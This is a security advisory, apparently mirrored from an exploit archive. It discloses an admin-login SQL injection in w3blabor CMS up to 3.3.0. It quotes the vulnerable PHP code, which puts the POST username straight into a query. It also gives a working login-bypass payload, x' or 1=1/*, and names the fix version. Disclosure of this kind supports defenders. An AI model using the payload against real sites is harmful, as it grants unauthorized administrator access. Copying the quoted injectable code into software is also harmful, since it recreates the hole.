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w3blabor CMS <= 3.3.0 (Admin Bypass) SQL Injection Vulnerability

🗓️ 01 Jan 2009 00:00:00Reported by DNXType 
zdt
 zdt
🔗 0day.today👁 28 Views

w3blabor CMS <= 3.3.0 SQL Injection Vulnerabilit

Code
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w3blabor CMS <= 3.3.0 (Admin Bypass) SQL Injection Vulnerability
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                          \#'#/
                          (-.-)
   ------------------oOO---(_)---OOo-----------------
   |          __             __                     |
   |    _____/ /_____ ______/ /_  __  ______ ______ |
   |   / ___/ __/ __ `/ ___/ __ \/ / / / __ `/ ___/ |
   |  (__  ) /_/ /_/ / /  / /_/ / /_/ / /_/ (__  )  |
   | /____/\__/\__,_/_/  /_.___/\__,_/\__, /____/   |
   | Security Research Division      /____/ 2oo8    |
   --------------------------------------------------
   |   w3blabor CMS <= v3.3.0 Admin Login Bypass    |
   |       (requires magic_quotes_gpc = Off)        |
   --------------------------------------------------
[!] Discovered.: DNX
[!] Vendor.....: http://www.w3blaborcms.de
[!] Detected...: 20.12.2008
[!] Reported...: 20.12.2008
[!] Response...: 21.12.2008

[!] Background.: Sicher! Schnell! Einfach!
                 Das CMS wurde durch diverse Abfragen und Konfigurationen gegen Hackangriffe
                 abgesichert. Auch arbeitet es sehr stabil und kommuniziert schnell mit der
                 angebundenen Datenbank. Die Verwaltung gestaltet sich als besonders einfach im
                 Gegensatz zu vielen anderen Content Management Systemen - Und genau das macht
                 es zu etwas Besonderem!

[!] Bug........: $_POST['benutzername'] & $_POST['passwort'] in admin/index.php near line 93

                  93: if (isset($_GET['action']) && $_GET['action'] == "login" && $_POST['benutzername'] != "" && $_POST['passwort'] != "") {
                  94:
                  95:	$check = mysql_fetch_assoc(mysql_query("SELECT * FROM admin WHERE benutzername='".$_POST['benutzername']."'"));
                  96:
                  97:	if ($check['benutzername'] == "") {
                  98:
                  99:		$_SESSION['login'] = false;
                 100:		header("Location: index.php?fehler=error001");
                 101:		exit;
                 102:
                 103:	} else {
                 104:
                 105:		$md5pw = md5($_POST['passwort']);
                 106:
                 107:		$check = mysql_fetch_assoc(mysql_query("SELECT * FROM admin WHERE benutzername='".$_POST['benutzername']."' AND passwort='".$md5pw."'"));

[!] PoC........: To bypass the admin login:

                 Username: x' or 1=1/*
                 Password: not empty

[!] Solution...: upgrade to version 3.4.0



#  0day.today [2018-03-09]  #

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01 Jan 2009 00:00Current
7.1High risk
Vulners AI Score7.1
28